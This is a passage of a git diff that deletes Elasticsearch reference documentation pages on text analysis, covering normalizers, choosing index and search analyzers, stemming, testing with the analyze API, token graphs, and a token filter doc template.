-|`dog`     |              | X
-|===
-
-Because the field value and query string were analyzed in the same way, they
-created similar tokens. The tokens `quick` and `fox` are exact matches. This
-means the search matches the document containing `"The QUICK brown foxes jumped
-over the dog!"`, just as the user expects.
-====
-
-[[different-analyzers]]
-==== When to use a different search analyzer
-
-While less common, it sometimes makes sense to use different analyzers at index
-and search time. To enable this, {es} allows you to
-<<specify-search-analyzer,specify a separate search analyzer>>.
-
-Generally, a separate search analyzer should only be specified when using the
-same form of tokens for field values and query strings would create unexpected
-or irrelevant search matches.
-
-[[different-analyzer-ex]]
-.*Example*
-[%collapsible]
-====
-{es} is used to create a search engine that matches only words that start with
-a provided prefix. For instance, a search for `tr` should return `tram` or
-`trope`—but never `taxi` or `bat`.
-
-A document is added to the search engine's index; this document contains one
-such word in a `text` field:
-
-[source,text]
-------
-"Apple"
-------
-
-The index analyzer for the field converts the value into tokens and normalizes
-them. In this case, each of the tokens represents a potential prefix for
-the word:
-
-[source,text]
-------
-[ a, ap, app, appl, apple]
-------
-
-These tokens are then indexed.
-
-Later, a user searches the same `text` field for:
-
-[source,text]
-------
-"appli"
-------
-
-The user expects this search to match only words that start with `appli`,
-such as `appliance` or `application`. The search should not match `apple`.
-
-However, if the index analyzer is used to analyze this query string, it would
-produce the following tokens:
-
-[source,text]
-------
-[ a, ap, app, appl, appli ]
-------
-
-When {es} compares these query string tokens to the ones indexed for `apple`,
-it finds several matches.
-
-[options="header"]
-|===
-|Token      | `appli`      | `apple`
-|`a`        | X            | X
-|`ap`       | X            | X
-|`app`      | X            | X
-|`appl`     | X            | X
-|`appli`    |              | X
-|===
-
-This means the search would erroneously match `apple`. Not only that, it would
-match any word starting with `a`.
-
-To fix this, you can specify a different search analyzer for query strings used
-on the `text` field.
-
-In this case, you could specify a search analyzer that produces a single token
-rather than a set of prefixes:
-
-[source,text]
-------
-[ appli ]
-------
-
-This query string token would only match tokens for words that start with
-`appli`, which better aligns with the user's search expectations.
-====
diff --git a/docs/reference/analysis/normalizers.asciidoc b/docs/reference/analysis/normalizers.asciidoc
deleted file mode 100644
index 6646ffb2bdd..00000000000
--- a/docs/reference/analysis/normalizers.asciidoc
+++ /dev/null
@@ -1,59 +0,0 @@
-[[analysis-normalizers]]
-== Normalizers
-
-Normalizers are similar to analyzers except that they may only emit a single
-token. As a consequence, they do not have a tokenizer and only accept a subset
-of the available char filters and token filters. Only the filters that work on
-a per-character basis are allowed. For instance a lowercasing filter would be
-allowed, but not a stemming filter, which needs to look at the keyword as a
-whole. The current list of filters that can be used in a normalizer is
-following: `arabic_normalization`, `asciifolding`, `bengali_normalization`,
-`cjk_width`, `decimal_digit`, `elision`, `german_normalization`,
-`hindi_normalization`, `indic_normalization`, `lowercase`,
-`persian_normalization`, `scandinavian_folding`, `serbian_normalization`,
-`sorani_normalization`, `uppercase`.
-
-Elasticsearch ships with a `lowercase` built-in normalizer. For other forms of
-normalization a custom configuration is required.
-
-[discrete]
-=== Custom normalizers
-
-Custom normalizers take a list of
-<<analysis-charfilters, character filters>> and a list of
-<<analysis-tokenfilters,token filters>>.
-
-[source,console]
---------------------------------
-PUT index
-{
-  "settings": {
-    "analysis": {
-      "char_filter": {
-        "quote": {
-          "type": "mapping",
-          "mappings": [
-            "« => \"",
-            "» => \""
-          ]
-        }
-      },
-      "normalizer": {
-        "my_normalizer": {
-          "type": "custom",
-          "char_filter": ["quote"],
-          "filter": ["lowercase", "asciifolding"]
-        }
-      }
-    }
-  },
-  "mappings": {
-    "properties": {
-      "foo": {
-        "type": "keyword",
-        "normalizer": "my_normalizer"
-      }
-    }
-  }
-}
---------------------------------
diff --git a/docs/reference/analysis/overview.asciidoc b/docs/reference/analysis/overview.asciidoc
deleted file mode 100644
index 8cf5a10ae8a..00000000000
--- a/docs/reference/analysis/overview.asciidoc
+++ /dev/null
@@ -1,78 +0,0 @@
-[[analysis-overview]]
-== Text analysis overview
-++++
-<titleabbrev>Overview</titleabbrev>
-++++
-
-Text analysis enables {es} to perform full-text search, where the search returns
-all _relevant_ results rather than just exact matches.
-
-If you search for `Quick fox jumps`, you probably want the document that
-contains `A quick brown fox jumps over the lazy dog`, and you might also want
-documents that contain related words like `fast fox` or `foxes leap`.
-
-[discrete]
-[[tokenization]]
-=== Tokenization
-
-Analysis makes full-text search possible through _tokenization_: breaking a text
-down into smaller chunks, called _tokens_. In most cases, these tokens are
-individual words.
-
-If you index the phrase `the quick brown fox jumps` as a single string and the
-user searches for `quick fox`, it isn't considered a match. However, if you
-tokenize the phrase and index each word separately, the terms in the query
-string can be looked up individually. This means they can be matched by searches
-for `quick fox`, `fox brown`, or other variations.
-
-[discrete]
-[[normalization]]
-=== Normalization
-
-Tokenization enables matching on individual terms, but each token is still
-matched literally. This means:
-
-*  A search for `Quick` would not match `quick`, even though you likely want
-either term to match the other
-
-* Although `fox` and `foxes` share the same root word, a search for `foxes`
-would not match `fox` or vice versa.
-
-* A search for `jumps` would not match `leaps`. While they don't share a root
-word, they are synonyms and have a similar meaning.
-
-To solve these problems, text analysis can _normalize_ these tokens into a
-standard format. This allows you to match tokens that are not exactly the same
-as the search terms, but similar enough to still be relevant. For example:
-
-* `Quick` can be lowercased: `quick`.
-
-* `foxes` can be _stemmed_, or reduced to its root word: `fox`.
-
-* `jump` and `leap` are synonyms and can be indexed as a single word: `jump`.
-
-To ensure search terms match these words as intended, you can apply the same
-tokenization and normalization rules to the query string. For example, a search
-for `Foxes leap` can be normalized to a search for `fox jump`.
-
-[discrete]
-[[analysis-customization]]
-=== Customize text analysis
-
-Text analysis is performed by an <<analyzer-anatomy,_analyzer_>>, a set of rules
-that govern the entire process.
-
-{es} includes a default analyzer, called the
-<<analysis-standard-analyzer,standard analyzer>>, which works well for most use
-cases right out of the box.
-
-If you want to tailor your search experience, you can choose a different
-<<analysis-analyzers,built-in analyzer>> or even
-<<analysis-custom-analyzer,configure a custom one>>. A custom analyzer gives you
-control over each step of the analysis process, including:
-
-* Changes to the text _before_ tokenization
-
-* How text is converted to tokens
-
-* Normalization changes made to tokens before indexing or search
\ No newline at end of file
diff --git a/docs/reference/analysis/specify-analyzer.asciidoc b/docs/reference/analysis/specify-analyzer.asciidoc
deleted file mode 100644
index d3114a74984..00000000000
--- a/docs/reference/analysis/specify-analyzer.asciidoc
+++ /dev/null
@@ -1,202 +0,0 @@
-[[specify-analyzer]]
-=== Specify an analyzer
-
-{es} offers a variety of ways to specify built-in or custom analyzers:
-
-* By `text` field, index, or query
-* For <<analysis-index-search-time,index or search time>>
-
-[TIP]
-.Keep it simple
-====
-The flexibility to specify analyzers at different levels and for different times
-is great... _but only when it's needed_.
-
-In most cases, a simple approach works best: Specify an analyzer for each
-`text` field, as outlined in <<specify-index-field-analyzer>>.
-
-This approach works well with {es}'s default behavior, letting you use the same
-analyzer for indexing and search. It also lets you quickly see which analyzer
-applies to which field using the <<indices-get-mapping,get mapping API>>.
-
-If you don't typically create mappings for your indices, you can use
-<<index-templates,index templates>> to achieve a similar effect.
-====
-
-[[specify-index-time-analyzer]]
-==== How {es} determines the index analyzer
-
-{es} determines which index analyzer to use by checking the following parameters
-in order:
-
-. The <<analyzer,`analyzer`>> mapping parameter for the field.
-  See <<specify-index-field-analyzer>>.
-. The `analysis.analyzer.default` index setting.
-  See <<specify-index-time-default-analyzer>>.
-
-If none of these parameters are specified, the
-<<analysis-standard-analyzer,`standard` analyzer>> is used.
-
-[[specify-index-field-analyzer]]
-==== Specify the analyzer for a field
-
-When mapping an index, you can use the <<analyzer,`analyzer`>> mapping parameter
-to specify an analyzer for each `text` field.
-
-The following <<indices-create-index,create index API>> request sets the
-`whitespace` analyzer as the analyzer for the `title` field.
-
-[source,console]
-----
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "title": {
-        "type": "text",
-        "analyzer": "whitespace"
-      }
-    }
-  }
-}
-----
-
-[[specify-index-time-default-analyzer]]
-==== Specify the default analyzer for an index
-
-In addition to a field-level analyzer, you can set a fallback analyzer for
-using the `analysis.analyzer.default` setting.
-
-The following <<indices-create-index,create index API>> request sets the
-`simple` analyzer as the fallback analyzer for `my-index-000001`.
-
-[source,console]
-----
-PUT my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "default": {
-          "type": "simple"
-        }
-      }
-    }
-  }
-}
-----
-
-[[specify-search-analyzer]]
-==== How {es} determines the search analyzer
-
-// tag::search-analyzer-warning[]
-[WARNING]
-====
-In most cases, specifying a different search analyzer is unnecessary. Doing so
-could negatively impact relevancy and result in unexpected search results.
-
-If you choose to specify a separate search analyzer, we recommend you thoroughly
-<<test-analyzer,test your analysis configuration>> before deploying in
-production.
-====
-// end::search-analyzer-warning[]
-
-At search time, {es} determines which analyzer to use by checking the following
-parameters in order:
-
-. The <<analyzer,`analyzer`>> parameter in the search query.
-  See <<specify-search-query-analyzer>>.
-. The <<search-analyzer,`search_analyzer`>> mapping parameter for the field.
-  See <<specify-search-field-analyzer>>.
-. The `analysis.analyzer.default_search` index setting.
-  See <<specify-search-default-analyzer>>.
-. The <<analyzer,`analyzer`>> mapping parameter for the field.
-  See <<specify-index-field-analyzer>>.
-
-If none of these parameters are specified, the
-<<analysis-standard-analyzer,`standard` analyzer>> is used.
-
-[[specify-search-query-analyzer]]
-==== Specify the search analyzer for a query
-
-When writing a <<full-text-queries,full-text query>>, you can use the `analyzer`
-parameter to specify a search analyzer. If provided, this overrides any other
-search analyzers.
-
-The following <<search-search,search API>> request sets the `stop` analyzer as
-the search analyzer for a <<query-dsl-match-query,`match`>> query.
-
-[source,console]
-----
-GET my-index-000001/_search
-{
-  "query": {
-    "match": {
-      "message": {
-        "query": "Quick foxes",
-        "analyzer": "stop"
-      }
-    }
-  }
-}
-----
-// TEST[s/^/PUT my-index-000001\n/]
-
-[[specify-search-field-analyzer]]
-==== Specify the search analyzer for a field
-
-When mapping an index, you can use the <<analyzer,`search_analyzer`>> mapping
-parameter to specify a search analyzer for each `text` field.
-
-If a search analyzer is provided, the index analyzer must also be specified
-using the `analyzer` parameter.
-
-The following <<indices-create-index,create index API>> request sets the
-`simple` analyzer as the search analyzer for the `title` field.
-
-[source,console]
-----
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "title": {
-        "type": "text",
-        "analyzer": "whitespace",
-        "search_analyzer": "simple"
-      }
-    }
-  }
-}
-----
-
-[[specify-search-default-analyzer]]
-==== Specify the default search analyzer for an index
-
-When <<indices-create-index,creating an index>>, you can set a default search
-analyzer using the `analysis.analyzer.default_search` setting.
-
-If a search analyzer is provided, a default index analyzer must also be
-specified using the `analysis.analyzer.default` setting.
-
-The following  <<indices-create-index,create index API>> request sets the
-`whitespace` analyzer as the default search analyzer for the `my-index-000001` index.
-
-[source,console]
-----
-PUT my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "default": {
-          "type": "simple"
-        },
-        "default_search": {
-          "type": "whitespace"
-        }
-      }
-    }
-  }
-}
-----
diff --git a/docs/reference/analysis/stemming.asciidoc b/docs/reference/analysis/stemming.asciidoc
deleted file mode 100644
index c590152d2df..00000000000
--- a/docs/reference/analysis/stemming.asciidoc
+++ /dev/null
@@ -1,125 +0,0 @@
-[[stemming]]
-=== Stemming
-
-_Stemming_ is the process of reducing a word to its root form. This ensures
-variants of a word match during a search.
-
-For example, `walking` and `walked` can be stemmed to the same root word:
-`walk`. Once stemmed, an occurrence of either word would match the other in a
-search.
-
-Stemming is language-dependent but often involves removing prefixes and
-suffixes from words.
-
-In some cases, the root form of a stemmed word may not be a real word. For
-example, `jumping` and `jumpiness` can both be stemmed to `jumpi`. While `jumpi`
-isn't a real English word, it doesn't matter for search; if all variants of a
-word are reduced to the same root form, they will match correctly.
-
-[[stemmer-token-filters]]
-==== Stemmer token filters
-
-In {es}, stemming is handled by stemmer <<analyzer-anatomy-token-filters,token
-filters>>. These token filters can be categorized based on how they stem words:
-
-* <<algorithmic-stemmers,Algorithmic stemmers>>, which stem words based on a set
-of rules
-* <<dictionary-stemmers,Dictionary stemmers>>, which stem words by looking them
-up in a dictionary
-
-Because stemming changes tokens, we recommend using the same stemmer token
-filters during <<analysis-index-search-time,index and search analysis>>.
-
-[[algorithmic-stemmers]]
-==== Algorithmic stemmers
-
-Algorithmic stemmers apply a series of rules to each word to reduce it to its
-root form. For example, an algorithmic stemmer for English may remove the `-s`
-and `-es` prefixes from the end of plural words.
-
-Algorithmic stemmers have a few advantages:
-
-* They require little setup and usually work well out of the box.
-* They use little memory.
-* They are typically faster than <<dictionary-stemmers,dictionary stemmers>>.
-
-However, most algorithmic stemmers only alter the existing text of a word. This
-means they may not work well with irregular words that don't contain their root
-form, such as:
-
-* `be`, `are`, and `am`
-* `mouse` and `mice`
-* `foot` and `feet`
-
-The following token filters use algorithmic stemming:
-
-* <<analysis-stemmer-tokenfilter,`stemmer`>>, which provides algorithmic
-stemming for several languages, some with additional variants.
-* <<analysis-kstem-tokenfilter,`kstem`>>, a stemmer for English that combines
-algorithmic stemming with a built-in dictionary.
-* <<analysis-porterstem-tokenfilter,`porter_stem`>>, our recommended algorithmic
-stemmer for English.
-* <<analysis-snowball-tokenfilter,`snowball`>>, which uses
-https://snowballstem.org/[Snowball]-based stemming rules for several
-languages.
-
-[[dictionary-stemmers]]
-==== Dictionary stemmers
-
-Dictionary stemmers look up words in a provided dictionary, replacing unstemmed
-word variants with stemmed words from the dictionary.
-
-In theory, dictionary stemmers are well suited for:
-
-* Stemming irregular words
-* Discerning between words that are spelled similarly but not related
-conceptually, such as:
-** `organ` and `organization`
-** `broker` and `broken`
-
-In practice, algorithmic stemmers typically outperform dictionary stemmers. This
-is because dictionary stemmers have the following disadvantages:
-
-* *Dictionary quality* +
-A dictionary stemmer is only as good as its dictionary. To work well, these
-dictionaries must include a significant number of words, be updated regularly,
-and change with language trends. Often, by the time a dictionary has been made
-available, it's incomplete and some of its entries are already outdated.
-
-* *Size and performance* +
-Dictionary stemmers must load all words, prefixes, and suffixes from its
-dictionary into memory. This can use a significant amount of RAM. Low-quality
-dictionaries may also be less efficient with prefix and suffix removal, which
-can slow the stemming process significantly.
-
-You can use the <<analysis-hunspell-tokenfilter,`hunspell`>> token filter to
-perform dictionary stemming.
-
-[TIP]
-====
-If available, we recommend trying an algorithmic stemmer for your language
-before using the <<analysis-hunspell-tokenfilter,`hunspell`>> token filter.
-====
-
-[[control-stemming]]
-==== Control stemming
-
-Sometimes stemming can produce shared root words that are spelled similarly but
-not related conceptually. For example, a stemmer may reduce both `skies` and
-`skiing` to the same root word: `ski`.
-
-To prevent this and better control stemming, you can use the following token
-filters:
-
-* <<analysis-stemmer-override-tokenfilter,`stemmer_override`>>, which lets you
-define rules for stemming specific tokens.
-* <<analysis-keyword-marker-tokenfilter,`keyword_marker`>>, which marks
-specified tokens as keywords. Keyword tokens are not stemmed by subsequent
-stemmer token filters.
-* <<analysis-condition-tokenfilter,`conditional`>>, which can be used to mark
-tokens as keywords, similar to the `keyword_marker` filter.
-
-
-For built-in <<analysis-lang-analyzer,language analyzers>>, you also can use the
-<<_excluding_words_from_stemming,`stem_exclusion`>> parameter to specify a list
-of words that won't be stemmed.
diff --git a/docs/reference/analysis/testing.asciidoc b/docs/reference/analysis/testing.asciidoc
deleted file mode 100644
index a430fb18a05..00000000000
--- a/docs/reference/analysis/testing.asciidoc
+++ /dev/null
@@ -1,207 +0,0 @@
-[[test-analyzer]]
-=== Test an analyzer
-
-The <<indices-analyze,`analyze` API>> is an invaluable tool for viewing the
-terms produced by an analyzer. A built-in analyzer can be specified inline in
-the request:
-
-[source,console]
--------------------------------------
-POST _analyze
-{
-  "analyzer": "whitespace",
-  "text":     "The quick brown fox."
-}
--------------------------------------
-
-The API returns the following response:
-
-[source,console-result]
--------------------------------------
-{
-  "tokens": [
-    {
-      "token": "The",
-      "start_offset": 0,
-      "end_offset": 3,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "quick",
-      "start_offset": 4,
-      "end_offset": 9,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "brown",
-      "start_offset": 10,
-      "end_offset": 15,
-      "type": "word",
-      "position": 2
-    },
-    {
-      "token": "fox.",
-      "start_offset": 16,
-      "end_offset": 20,
-      "type": "word",
-      "position": 3
-    }
-  ]
-}
--------------------------------------
-
-You can also test combinations of:
-
-* A tokenizer
-* Zero or more token filters
-* Zero or more character filters
-
-[source,console]
--------------------------------------
-POST _analyze
-{
-  "tokenizer": "standard",
-  "filter":  [ "lowercase", "asciifolding" ],
-  "text":      "Is this déja vu?"
-}
--------------------------------------
-
-The API returns the following response:
-
-[source,console-result]
--------------------------------------
-{
-  "tokens": [
-    {
-      "token": "is",
-      "start_offset": 0,
-      "end_offset": 2,
-      "type": "<ALPHANUM>",
-      "position": 0
-    },
-    {
-      "token": "this",
-      "start_offset": 3,
-      "end_offset": 7,
-      "type": "<ALPHANUM>",
-      "position": 1
-    },
-    {
-      "token": "deja",
-      "start_offset": 8,
-      "end_offset": 12,
-      "type": "<ALPHANUM>",
-      "position": 2
-    },
-    {
-      "token": "vu",
-      "start_offset": 13,
-      "end_offset": 15,
-      "type": "<ALPHANUM>",
-      "position": 3
-    }
-  ]
-}
--------------------------------------
-
-.Positions and character offsets
-*********************************************************
-
-As can be seen from the output of the `analyze` API, analyzers not only
-convert words into terms, they also record the order or relative _positions_
-of each term (used for phrase queries or word proximity queries), and the
-start and end _character offsets_ of each term in the original text (used for
-highlighting search snippets).
-
-*********************************************************
-
-
-Alternatively, a <<analysis-custom-analyzer,`custom` analyzer>> can be
-referred to when running the `analyze` API on a specific index:
-
-[source,console]
--------------------------------------
-PUT my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "std_folded": { <1>
-          "type": "custom",
-          "tokenizer": "standard",
-          "filter": [
-            "lowercase",
-            "asciifolding"
-          ]
-        }
-      }
-    }
-  },
-  "mappings": {
-    "properties": {
-      "my_text": {
-        "type": "text",
-        "analyzer": "std_folded" <2>
-      }
-    }
-  }
-}
-
-GET my-index-000001/_analyze <3>
-{
-  "analyzer": "std_folded", <4>
-  "text":     "Is this déjà vu?"
-}
-
-GET my-index-000001/_analyze <3>
-{
-  "field": "my_text", <5>
-  "text":  "Is this déjà vu?"
-}
--------------------------------------
-
-The API returns the following response:
-
-[source,console-result]
--------------------------------------
-{
-  "tokens": [
-    {
-      "token": "is",
-      "start_offset": 0,
-      "end_offset": 2,
-      "type": "<ALPHANUM>",
-      "position": 0
-    },
-    {
-      "token": "this",
-      "start_offset": 3,
-      "end_offset": 7,
-      "type": "<ALPHANUM>",
-      "position": 1
-    },
-    {
-      "token": "deja",
-      "start_offset": 8,
-      "end_offset": 12,
-      "type": "<ALPHANUM>",
-      "position": 2
-    },
-    {
-      "token": "vu",
-      "start_offset": 13,
-      "end_offset": 15,
-      "type": "<ALPHANUM>",
-      "position": 3
-    }
-  ]
-}
--------------------------------------
-
-<1> Define a `custom` analyzer called `std_folded`.
-<2> The field `my_text` uses the `std_folded` analyzer.
-<3> To refer to this analyzer, the `analyze` API must specify the index name.
-<4> Refer to the analyzer by name.
-<5> Refer to the analyzer used by field `my_text`.
diff --git a/docs/reference/analysis/token-graphs.asciidoc b/docs/reference/analysis/token-graphs.asciidoc
deleted file mode 100644
index 20f91891aed..00000000000
--- a/docs/reference/analysis/token-graphs.asciidoc
+++ /dev/null
@@ -1,104 +0,0 @@
-[[token-graphs]]
-=== Token graphs
-
-When a <<analyzer-anatomy-tokenizer,tokenizer>> converts a text into a stream of
-tokens, it also records the following:
-
-* The `position` of each token in the stream
-* The `positionLength`, the number of positions that a token spans
-
-Using these, you can create a
-{wikipedia}/Directed_acyclic_graph[directed acyclic graph],
-called a _token graph_, for a stream. In a token graph, each position represents
-a node. Each token represents an edge or arc, pointing to the next position.
-
-image::images/analysis/token-graph-qbf-ex.svg[align="center"]
-
-[[token-graphs-synonyms]]
-==== Synonyms
-
-Some <<analyzer-anatomy-token-filters,token filters>> can add new tokens, like
-synonyms, to an existing token stream. These synonyms often span the same
-positions as existing tokens.
-
-In the following graph, `quick` and its synonym `fast` both have a position of
-`0`. They span the same positions.
-
-image::images/analysis/token-graph-qbf-synonym-ex.svg[align="center"]
-
-[[token-graphs-multi-position-tokens]]
-==== Multi-position tokens
-
-Some token filters can add tokens that span multiple positions. These can
-include tokens for multi-word synonyms, such as using "atm" as a synonym for
-"automatic teller machine."
-
-However, only some token filters, known as _graph token filters_, accurately
-record the `positionLength` for multi-position tokens. This filters include:
-
-* <<analysis-synonym-graph-tokenfilter,`synonym_graph`>>
-* <<analysis-word-delimiter-graph-tokenfilter,`word_delimiter_graph`>>
-
-In the following graph, `domain name system` and its synonym, `dns`, both have a
-position of `0`. However, `dns` has a `positionLength` of `3`. Other tokens in
-the graph have a default `positionLength` of `1`.
-
-image::images/analysis/token-graph-dns-synonym-ex.svg[align="center"]
-
-[[token-graphs-token-graphs-search]]
-===== Using token graphs for search 
-
-<<analysis-index-search-time,Indexing>> ignores the `positionLength` attribute
-and does not support token graphs containing multi-position tokens.
-
-However, queries, such as the <<query-dsl-match-query,`match`>> or
-<<query-dsl-match-query-phrase,`match_phrase`>> query, can use these graphs to
-generate multiple sub-queries from a single query string.
-
-.*Example*
-[%collapsible]
-====
-
-A user runs a search for the following phrase using the `match_phrase` query:
-
-`domain name system is fragile`
-
-During <<analysis-index-search-time,search analysis>>, `dns`, a synonym for
-`domain name system`, is added to the query string's token stream. The `dns`
-token has a `positionLength` of `3`.
-
-image::images/analysis/token-graph-dns-synonym-ex.svg[align="center"]
-
-The `match_phrase` query uses this graph to generate sub-queries for the
-following phrases:
-
-[source,text]
-------
-dns is fragile
-domain name system is fragile
-------
-
-This means the query matches documents containing either `dns is fragile` _or_
-`domain name system is fragile`.
-====
-
-[[token-graphs-invalid-token-graphs]]
-===== Invalid token graphs
-
-The following token filters can add tokens that span multiple positions but
-only record a default `positionLength` of `1`:
-
-* <<analysis-synonym-tokenfilter,`synonym`>>
-* <<analysis-word-delimiter-tokenfilter,`word_delimiter`>>
-
-This means these filters will produce invalid token graphs for streams
-containing such tokens.
-
-In the following graph, `dns` is a multi-position synonym for `domain name
-system`. However, `dns` has the default `positionLength` value of `1`, resulting
-in an invalid graph.
-
-image::images/analysis/token-graph-dns-invalid-ex.svg[align="center"]
-
-Avoid using invalid token graphs for search. Invalid graphs can cause unexpected
-search results.
\ No newline at end of file
diff --git a/docs/reference/analysis/tokenfilters.asciidoc b/docs/reference/analysis/tokenfilters.asciidoc
deleted file mode 100644
index 46cd0347b72..00000000000
--- a/docs/reference/analysis/tokenfilters.asciidoc
+++ /dev/null
@@ -1,107 +0,0 @@
-[[analysis-tokenfilters]]
-== Token filter reference
-
-Token filters accept a stream of tokens from a
-<<analysis-tokenizers,tokenizer>> and can modify tokens
-(eg lowercasing), delete tokens (eg remove stopwords)
-or add tokens (eg synonyms).
-
-{es} has a number of built-in token filters you can use
-to build <<analysis-custom-analyzer,custom analyzers>>.
-
-
-include::tokenfilters/apostrophe-tokenfilter.asciidoc[]
-
-include::tokenfilters/asciifolding-tokenfilter.asciidoc[]
-
-include::tokenfilters/cjk-bigram-tokenfilter.asciidoc[]
-
-include::tokenfilters/cjk-width-tokenfilter.asciidoc[]
-
-include::tokenfilters/classic-tokenfilter.asciidoc[]
-
-include::tokenfilters/common-grams-tokenfilter.asciidoc[]
-
-include::tokenfilters/condition-tokenfilter.asciidoc[]
-
-include::tokenfilters/decimal-digit-tokenfilter.asciidoc[]
-
-include::tokenfilters/delimited-payload-tokenfilter.asciidoc[]
-
-include::tokenfilters/dictionary-decompounder-tokenfilter.asciidoc[]
-
-include::tokenfilters/edgengram-tokenfilter.asciidoc[]
-
-include::tokenfilters/elision-tokenfilter.asciidoc[]
-
-include::tokenfilters/fingerprint-tokenfilter.asciidoc[]
-
-include::tokenfilters/flatten-graph-tokenfilter.asciidoc[]
-
-include::tokenfilters/hunspell-tokenfilter.asciidoc[]
-
-include::tokenfilters/hyphenation-decompounder-tokenfilter.asciidoc[]
-
-include::tokenfilters/keep-types-tokenfilter.asciidoc[]
-
-include::tokenfilters/keep-words-tokenfilter.asciidoc[]
-
-include::tokenfilters/keyword-marker-tokenfilter.asciidoc[]
-
-include::tokenfilters/keyword-repeat-tokenfilter.asciidoc[]
-
-include::tokenfilters/kstem-tokenfilter.asciidoc[]
-
-include::tokenfilters/length-tokenfilter.asciidoc[]
-
-include::tokenfilters/limit-token-count-tokenfilter.asciidoc[]
-
-include::tokenfilters/lowercase-tokenfilter.asciidoc[]
-
-include::tokenfilters/minhash-tokenfilter.asciidoc[]
-
-include::tokenfilters/multiplexer-tokenfilter.asciidoc[]
-
-include::tokenfilters/ngram-tokenfilter.asciidoc[]
-
-include::tokenfilters/normalization-tokenfilter.asciidoc[]
-
-include::tokenfilters/pattern-capture-tokenfilter.asciidoc[]
-
-include::tokenfilters/pattern_replace-tokenfilter.asciidoc[]
-
-include::tokenfilters/phonetic-tokenfilter.asciidoc[]
-
-include::tokenfilters/porterstem-tokenfilter.asciidoc[]
-
-include::tokenfilters/predicate-tokenfilter.asciidoc[]
-
-include::tokenfilters/remove-duplicates-tokenfilter.asciidoc[]
-
-include::tokenfilters/reverse-tokenfilter.asciidoc[]
-
-include::tokenfilters/shingle-tokenfilter.asciidoc[]
-
-include::tokenfilters/snowball-tokenfilter.asciidoc[]
-
-include::tokenfilters/stemmer-tokenfilter.asciidoc[]
-
-include::tokenfilters/stemmer-override-tokenfilter.asciidoc[]
-
-include::tokenfilters/stop-tokenfilter.asciidoc[]
-
-include::tokenfilters/synonym-tokenfilter.asciidoc[]
-
-include::tokenfilters/synonym-graph-tokenfilter.asciidoc[]
-
-include::tokenfilters/trim-tokenfilter.asciidoc[]
-
-include::tokenfilters/truncate-tokenfilter.asciidoc[]
-
-include::tokenfilters/unique-tokenfilter.asciidoc[]
-
-include::tokenfilters/uppercase-tokenfilter.asciidoc[]
-
-include::tokenfilters/word-delimiter-tokenfilter.asciidoc[]
-
-include::tokenfilters/word-delimiter-graph-tokenfilter.asciidoc[]
diff --git a/docs/reference/analysis/tokenfilters/_token-filter-template.asciidoc b/docs/reference/analysis/tokenfilters/_token-filter-template.asciidoc
deleted file mode 100644
index c2558d0b91b..00000000000
--- a/docs/reference/analysis/tokenfilters/_token-filter-template.asciidoc
+++ /dev/null
@@ -1,233 +0,0 @@
-////
-This is a template for token filter reference documentation.
-
-To document a new token filter, copy this file, remove comments like this, and
-replace "sample" with the appropriate filter name.
-
-Ensure the new filter docs are linked and included in
-docs/reference/analysis/tokefilters.asciidoc
-////
-
-[[sample-tokenfilter]]
-=== Sample token filter
-++++
-<titleabbrev>Sample</titleabbrev>
-++++
-
-////
-INTRO
-Include a brief, 1-2 sentence description.
-If based on a Lucene token filter, link to the Lucene documentation.
-////
-
-Does a cool thing. For example, the `sample` filter changes `x` to `y`.
-
-The filter uses Lucene's
-{lucene-analysis-docs}/sampleFilter.html[SampleFilter].
-
-[[analysis-sample-tokenfilter-analyze-ex]]
-==== Example
-////
-Basic example of the filter's input and output token streams.
-
-Guidelines
-***************************************
-* The _analyze API response should be included but commented out.
-* Ensure // TEST[skip:...] comments are removed.
-***************************************
-////
-
-The following <<indices-analyze,analyze API>> request uses the `sample`
-filter to do a cool thing to `the quick fox jumps the lazy dog`:
-
-[source,console]
-----
-GET /_analyze
-{
-  "tokenizer" : "standard",
-  "filter" : ["sample"],
-  "text" : "the quick fox jumps the lazy dog"
-}
-----
-// TEST[skip: REMOVE THIS COMMENT.]
-
-The filter produces the following tokens:
-
-[source,text]
-----
-[ the, quick, fox, jumps, the, lazy, dog ]
-----
-
-////
-[source,console-result]
-----
-{
-  "tokens" : [
-    {
-      "token" : "the",
-      "start_offset" : 0,
-      "end_offset" : 3,
-      "type" : "<ALPHANUM>",
-      "position" : 0
-    },
-    {
-      "token" : "quick",
-      "start_offset" : 4,
-      "end_offset" : 9,
-      "type" : "<ALPHANUM>",
-      "position" : 1
-    },
-    {
-      "token" : "fox",
-      "start_offset" : 10,
-      "end_offset" : 13,
-      "type" : "<ALPHANUM>",
-      "position" : 2
-    },
-    {
-      "token" : "jumps",
-      "start_offset" : 14,
-      "end_offset" : 19,
-      "type" : "<ALPHANUM>",
-      "position" : 3
-    },
-    {
-      "token" : "over",
-      "start_offset" : 20,
-      "end_offset" : 24,
-      "type" : "<ALPHANUM>",
-      "position" : 4
-    },
-    {
-      "token" : "the",
-      "start_offset" : 25,
-      "end_offset" : 28,
-      "type" : "<ALPHANUM>",
-      "position" : 5
-    },
-    {
-      "token" : "lazy",
-      "start_offset" : 29,
-      "end_offset" : 33,
-      "type" : "<ALPHANUM>",
-      "position" : 6
-    },
-    {
-      "token" : "dog",
-      "start_offset" : 34,
-      "end_offset" : 37,
-      "type" : "<ALPHANUM>",
-      "position" : 7
-    }
-  ]
-}
-----
-// TEST[skip: REMOVE THIS COMMENT.]
-////
-
-[[analysis-sample-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-////
-Example of how to add a pre-configured token filter to an analyzer.
-If the filter requires arguments, skip this section.
-
-Guidelines
-***************************************
-* If needed, change the tokenizer so the example fits the filter.
-* Ensure // TEST[skip:...] comments are removed.
-***************************************
-////
-
-The following <<indices-create-index,create index API>> request uses the
-`sample` filter to configure a new <<analysis-custom-analyzer,custom analyzer>>.
-
-[source,console]
-----
-PUT sample_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_sample_analyzer": {
-          "tokenizer": "standard",
-          "filter": [ "sample" ]
-        }
-      }
-    }
-  }
-}
-----
-// TEST[skip: REMOVE THIS COMMENT.]
-
-
-[[analysis-sample-tokenfilter-configure-parms]]
-==== Configurable parameters
-////
